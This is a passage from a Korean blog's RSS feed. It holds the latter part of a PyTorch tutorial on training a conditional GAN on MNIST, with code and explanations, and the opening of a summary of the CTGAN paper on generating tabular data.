&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;pre id=&quot;code_1647633997726&quot; class=&quot;angelscript&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;for epoch in range(num_epoch):
    for i, (images, label) in enumerate(data_loader):

        # 라벨을 만들어 줍니다. 1 for real, 0 for fake
        real_label = 
        	torch.full((batch_size, 1), 1, dtype=torch.float32).to(device)
        fake_label = 
        	torch.full((batch_size, 1), 0, dtype=torch.float32).to(device)

        # MNIST dataset의 데이터를 flatten 하게 reshape 해줍니다.
        real_images = images.reshape(batch_size, -1).to(device)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 for문을 통해 각 epoch 마다 학습을 시켜주게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;학습을 위해 [batch size, 1] 크기의 모두 1로 구성된 real label 의 tensor와 모두 0으로 구성된 fake label의 tensor를 만들어 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;pre id=&quot;code_1647633997726&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	# +---------------------+
        # |   train Generator   |
        # +---------------------+

        # Initialize grad
        g_optimizer.zero_grad()
        d_optimizer.zero_grad()

        # fake image를 generator와 noize vector 'z' 를 통해 만들어주기
        z = torch.randn(batch_size, noise_size).to(device)

        # 노이즈 벡터 z 와 encoded labels을 합쳐준다. (concate)
        z_concat = torch.cat((z, label_encoded), 1)
        fake_images = generator(z_concat)
        fake_images_concat = torch.cat((fake_images, label_encoded), 1)

        # loss function에 fake image와 real label을 넘겨주기
        # 만약 generator가 discriminator를 속이면, g_loss가 줄어든다.
        g_loss = criterion(discriminator(fake_images_concat), real_label)

        # backpropagation를 통해 generator 학습
        g_loss.backward()
        g_optimizer.step()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Generator를 학습시켜주자. Discriminator 를 먼저 학습시키든 Generator를 먼저 학습시키든 상관없지만, 중요한 것은 각자&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;따로따로 학습&lt;/b&gt;&lt;/span&gt;시켜줘야 한다는 점이다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 noise vector 'z' 를 torch.randn 함수를 통해 랜덤한 값으로 채워준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[13번째 줄] 여기서 CGAN만의 특징이 나타나는데, 앞서 [그림 1]에서 보았던 구조처럼 noise vector 'z'에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;label 값을 인코딩한 벡터(y)&lt;/b&gt;&lt;/span&gt; 를 합쳐줘야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[15번째 줄] 또한, Discriminator 의 Input에도 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;contion 변수&lt;/b&gt;&lt;/span&gt;가 합쳐져야 하므로, 생성된 fake image, G(z+y) 값에도&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt; label 값을 인코딩한 벡터 (y)&lt;/b&gt;&lt;/span&gt;를 합쳐준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 앞서 선언한 generator에 (z+y) 를 넣어줌으로써 [28 x 28 = 784] 크기의 이미지 데이터를 생성하게 된다. 즉 G(z+y)는 Generator가 생성한 batch size 개수만큼의 이미지가 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 2장에서 설명했듯이 Generator는 D(G(z+y))의 성능을 낮추는 방향으로 학습된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 loss 함수에 D(G(z+y))와 real label을 함께 넣어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 할 경우, Discriminator가 제대로 판단을 할 경우(fake라 판단) Generator는 올바른 방향으로 데이터를 생성하지 못했다고 생각하게 되고, Discriminator 가 제대로 판단하지 못할 경우(real로 판단) Generator는 올바른 방향으로 데이터를 생성했다고 생각하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 과정을 통해 Generator의 성능이 높아지는 방향으로 학습이 진행되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647633997727&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;        # +---------------------+
        # | train Discriminator |
        # +---------------------+

        # Initialize grad
        d_optimizer.zero_grad()
        g_optimizer.zero_grad()

        # fake image를 generator와 noize vector 'z' 를 통해 만들어주기
        z = torch.randn(batch_size, noise_size).to(device)

        # 노이즈 벡터 z 에 encoded label를 합쳐준다.
        z_concat = torch.cat((z, label_encoded), 1)
        fake_images = generator(z_concat)
        fake_images_concat = torch.cat((fake_images, label_encoded), 1)

        # fake image와 fake label, real image와 real label을 넘겨 loss 계산
        fake_loss = criterion(discriminator(fake_images_concat), fake_label)
        real_loss = criterion(discriminator(real_images_concat), real_label)
        d_loss = (fake_loss + real_loss) / 2

        # backpropagation을 통해 discriminator 학습
        # 이 부분에서는 generator는 학습시키지 않음
        d_loss.backward()
        d_optimizer.step()&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음으로 Discriminator를 학습시켜주자.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 앞서 했던것과 같이 (z+y) 값을 generator에 통과시켜 fake image를 만들어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;fake image에 역시 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;condition 변수 y&lt;/b&gt;&lt;/span&gt;를 합쳐 G(z+y) + y를 만들어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;D(G(z+y) + y) 값을 loss function에 fake label과 함께 넣어 fake loss를 구해주고, D(x) 값을 loss function에 real label과 함게 넣어 real loss를 구해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 구한 두 fake / real loss를 평균내서 전체 discriminator 의 loss값을 구해준다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 Discriminator가 제대로 fake 와 real 이미지를 판단할 수 있는 방향으로 학습이 진행되게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 conditional GAN의 꽃이라 불릴 수 있는 '내가 원하는 label의 데이터를 샘플링' 하는 것을 해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647634573784&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CGAN's 의 validity를 테스트해볼 수 있는 함수
def check_condition(_generator):
    test_image = torch.empty(0).to(device)

    for i in range(10):
        test_label = torch.tensor([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
        test_label_encoded = F.one_hot(test_label, num_classes=10).to(device)

        # create noise(latent vector) 'z'
        _z = torch.randn(10, noise_size).to(device)
        _z_concat = torch.cat((_z, test_label_encoded), 1)

        test_image = torch.cat((test_image, _generator(_z_concat)), 0)

    _result = test_image.reshape(100, 1, 28, 28)
    save_image(_result, os.path.join(dir_name, 'CGAN_test_result.png'), nrow=10)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CGAN이 제대로 동작하는지는 check_condition 이라는 함수를 통해 구현했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;학습된 generator를 parameter로 받아온 check_condition 함수는 test_label_encoded라는 [10 x 10]의 matrix를 만들어낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;test_label_encoded&lt;/b&gt;&lt;/span&gt; 는 각 열마다 0, 1, 2, ..., 9에 해당하는 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;encoded vector&lt;/b&gt;&lt;/span&gt;가 담겨있다. 한번 나타내보면 아래와 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[1, 0, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[0, 1, 0, 0, 0, 0, 0, 0, 0, 0]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[0, 0, 1, 0, 0, 0, 0, 0, 0, 0]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[0, 0, 0, 1, 0, 0, 0, 0, 0, 0]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;. . .&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 1, 0]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #0593d3;&quot;&gt;[0, 0, 0, 0, 0, 0, 0, 0, 0, 1]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 noise vector 'z' 10행을 만들어내고, 거기에 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;test_label_encoded matrix&lt;/b&gt;&lt;/span&gt;를 이어준 _z_concat 값을 만들어준다. 이어붙이면 [10 x 20] 의 크기가될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;generator에 _z_concat을 넣어주면, 샘플링한 이미지가 나타나게 될 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;차례로 0, 1, 2, ..., 9에 해당하는 label vector를 붙여줬으므로, 실제 샘플링한 값도 이에 맞게 나올 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 코드를 돌려 GAN을 학습한 뒤, check_condition을 통해 확인한 결과는 [그림 3]과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;722&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cadDZA/btrwn4pZg82/eqC7yxpPwIpVR3AuwKL8ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cadDZA/btrwn4pZg82/eqC7yxpPwIpVR3AuwKL8ik/img.png&quot; data-alt=&quot;[그림 3] CGAN 학습 결과&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cadDZA/btrwn4pZg82/eqC7yxpPwIpVR3AuwKL8ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcadDZA%2Fbtrwn4pZg82%2FeqC7yxpPwIpVR3AuwKL8ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;318&quot; height=&quot;318&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;722&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 3] CGAN 학습 결과&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 내가 원하는 condition대로 잘 학습된 것을 확인할 수 있다. (대체로 2랑 5를 조금 잘 못만들어내는 듯,,)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 기본 GAN을 통해 학습시켰다면, [그림 3]에 무작위의 숫자들이 들어갔을 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: right;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #9d9d9d;&quot;&gt;위 내용은 공부하며 정리한 것으로, 오류가 있을 수 있습니다.&lt;/span&gt;&lt;/p&gt;</description>
      <category>머신러닝</category>
      <category>CGAN</category>
      <category>Conditional GAN</category>
      <category>gan</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/126</guid>
      <comments>https://ddongwon.tistory.com/126#entry126comment</comments>
      <pubDate>Sat, 19 Mar 2022 05:32:18 +0900</pubDate>
    </item>
    <item>
      <title>[논문] Modeling Tabular Data using Conditional GAN</title>
      <link>https://ddongwon.tistory.com/125</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&lt;i&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;논문 제목 : Modeling Tabular Data using Conditional GAN&lt;/span&gt;&lt;/b&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;0. abstract&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;continuous 와 discrete data가 같이 있는 tabular data를 GAN과 같은 생성 모델을 통해 생성하는 것은 쉬운 일이 아니다. 본 논문에서는 CTGAN이라 불리는 모델의 conditional generator를 통해 이러한 문제를 해결하였으며, 생성모델의 성능을 측정하기 위한 benchmark 시스템 또한 제안하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1.&amp;nbsp;Introduction&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;최근&amp;nbsp;deep&amp;nbsp;generative&amp;nbsp;models들이&amp;nbsp;활발히&amp;nbsp;연구되면서&amp;nbsp;확률&amp;nbsp;분포를&amp;nbsp;보다&amp;nbsp;정교하고&amp;nbsp;정확하게&amp;nbsp;배움으로써&amp;nbsp;좋은&amp;nbsp;성능의&amp;nbsp;생성&amp;nbsp;모델들이&amp;nbsp;나오고&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이런&amp;nbsp;상황&amp;nbsp;속에서&amp;nbsp;이러한&amp;nbsp;생성모델을&amp;nbsp;정확하게&amp;nbsp;evaluation&amp;nbsp;할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;benchmarking&amp;nbsp;방식&amp;nbsp;또한&amp;nbsp;중요하게&amp;nbsp;대두되고&amp;nbsp;있다. &lt;br /&gt;하지만 tabular data GAN의 경우에 likelihodd fitness 나 machine learning efficacy 등의 metric 에서 좋지 않은 성능을 보여주고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이러한 한계점은 tabular data 에서 discrete와 continuous한 columns을 학습시킬 때, 다양한 문제들이 발생하기 때문이다. continuous data의 경우 확률 분포가 여러개의 봉우리를 가지게 되는 multi-modal distribution을 가지며, discrete data의 경우 category별로 빈도수가 모두 다르다는 성질(imbalance) 이 존재한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이러한&amp;nbsp;문제점들을&amp;nbsp;극복하기&amp;nbsp;위해&amp;nbsp;본&amp;nbsp;연구에서는&amp;nbsp;conditional&amp;nbsp;tabular&amp;nbsp;GAN(CTGAN)&amp;nbsp;을&amp;nbsp;제안한다.&amp;nbsp;즉&amp;nbsp;mode-specific&amp;nbsp;하게&amp;nbsp;데이터를&amp;nbsp;생성해내는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;CTGAN을&amp;nbsp;적용해&amp;nbsp;테스트해본&amp;nbsp;결과,&amp;nbsp;다른&amp;nbsp;bayesian&amp;nbsp;network나&amp;nbsp;GAN에&amp;nbsp;비해&amp;nbsp;좋은&amp;nbsp;성능을&amp;nbsp;내는&amp;nbsp;것을&amp;nbsp;확인할&amp;nbsp;수&amp;nbsp;있었다. &lt;br /&gt;본&amp;nbsp;논문의&amp;nbsp;contributions는&amp;nbsp;크게&amp;nbsp;두가지가&amp;nbsp;있는데,&amp;nbsp;각각&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;1)&lt;/b&gt;&lt;/span&gt; CTGAN을&amp;nbsp;통해&amp;nbsp;tabular&amp;nbsp;data를&amp;nbsp;보다&amp;nbsp;좋은&amp;nbsp;성능으로&amp;nbsp;생성할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;방법&amp;nbsp;제안하였으며&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2)&amp;nbsp;&lt;/b&gt;&lt;/span&gt;데이터&amp;nbsp;생성&amp;nbsp;알고리즘에서의&amp;nbsp;성능을&amp;nbsp;평가할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;단일화된&amp;nbsp;benchmarking&amp;nbsp;시스템을&amp;nbsp;제안한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2.&amp;nbsp;Related&amp;nbsp;work&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이전까지&amp;nbsp;tabular&amp;nbsp;데이터에&amp;nbsp;대한&amp;nbsp;생성&amp;nbsp;모델은&amp;nbsp;데이터의&amp;nbsp;type에&amp;nbsp;따라서&amp;nbsp;제한된다는&amp;nbsp;한계가&amp;nbsp;존재했다.&amp;nbsp;그럼에도&amp;nbsp;불구하고&amp;nbsp;의료&amp;nbsp;데이터에&amp;nbsp;tabular&amp;nbsp;GAN이&amp;nbsp;자주&amp;nbsp;이용되기도&amp;nbsp;하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3.&amp;nbsp;Challenges&amp;nbsp;with&amp;nbsp;GANs&amp;nbsp;in&amp;nbsp;Tabular&amp;nbsp;Data&amp;nbsp;Generation&amp;nbsp;Task&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;Tabular data를 생성할때는 Generator G가 기존의 table T을 기반으로 Tsync를 생성하게 된다. T는 Nc개의 continous columns를 가지게 되며, Nd개의 discrete column을 가진다. 각각의 columns들은 random variable로써 joint distribution을 가지게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이렇게&amp;nbsp;생성된&amp;nbsp;Tsync는&amp;nbsp;크게&amp;nbsp;두가지&amp;nbsp;metric으로&amp;nbsp;평가되게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;&amp;nbsp;1) Likelihodd fitness&lt;/b&gt;&lt;/span&gt; : Tsync에 있는 columns들이 Ttrain에 있는 columns의 joint distribution을 잘 따르는가? &lt;br /&gt;&amp;nbsp;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;2) Machine learning efficacy&lt;/b&gt; &lt;/span&gt;: Ttrain을 통해 만들어진 Tsync를 통해 학습한 ML 모델의 성능과, 실제 데이터인 Ttest를 통해 학습한 ML 모델의 성능이 얼마나 비슷한지?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;이러한 metric이 좋은 성능을 내기 위해서는 tabular data에의 Mixed data types(discrete &amp;amp; continuous columns), Non-Gaussian distributions(continuous data의 경우), Multimodal distributions(확률분포가 여러 봉우리 가짐), Learning from sparse one-hot-encoded vectors, Highly imbalanced categorical columns (mode collapse 발생) 등의 문제를 해결해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;4.&amp;nbsp;CTGAN&amp;nbsp;Model&lt;/b&gt; &lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;앞서 설명했듯이 CTGAN에서는 mode-specific normalization이 적용되는데, 이는 데이터의 non-Gaussian 과 multimodal distribution 문제를 해결해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;또한&amp;nbsp;conditional&amp;nbsp;generator와&amp;nbsp;training-by-sampling이&amp;nbsp;적용되는데,&amp;nbsp;이는&amp;nbsp;imbalanced&amp;nbsp;discrete&amp;nbsp;columns&amp;nbsp;문제를&amp;nbsp;해결해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.1. Notations&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;188&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nPCv0/btrvSfZ2Tge/PWVheqKVUCLFvfDouwCqJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nPCv0/btrvSfZ2Tge/PWVheqKVUCLFvfDouwCqJK/img.png&quot; data-alt=&quot;notation&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nPCv0/btrvSfZ2Tge/PWVheqKVUCLFvfDouwCqJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnPCv0%2FbtrvSfZ2Tge%2FPWVheqKVUCLFvfDouwCqJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;664&quot; height=&quot;102&quot; data-origin-width=&quot;1223&quot; data-origin-height=&quot;188&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;notation&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;4.2.&amp;nbsp;Mode-specific&amp;nbsp;Normalization&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;tabular&amp;nbsp;데이터를&amp;nbsp;생성하기&amp;nbsp;전에&amp;nbsp;Normalization&amp;nbsp;과정을&amp;nbsp;거쳐줘야&amp;nbsp;한다. &lt;br /&gt;우선&amp;nbsp;discrete&amp;nbsp;변수는&amp;nbsp;단순히&amp;nbsp;전체&amp;nbsp;category&amp;nbsp;개수만큼의&amp;nbsp;비트로&amp;nbsp;one-hot&amp;nbsp;encoding을&amp;nbsp;진행해주면&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;문제는 continuous 변수인데,, 일단 continuous 변수를 가지는 하나의 column이 있다고 생각해보자. 해당 column에 속한 데이터들의 확률분포는 [그림 1]과 같이 여러개의 봉우리(?) 가 있는 모양으로 표현되는 경우가 많다. 이를 Gaussian mixture라고 부른다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
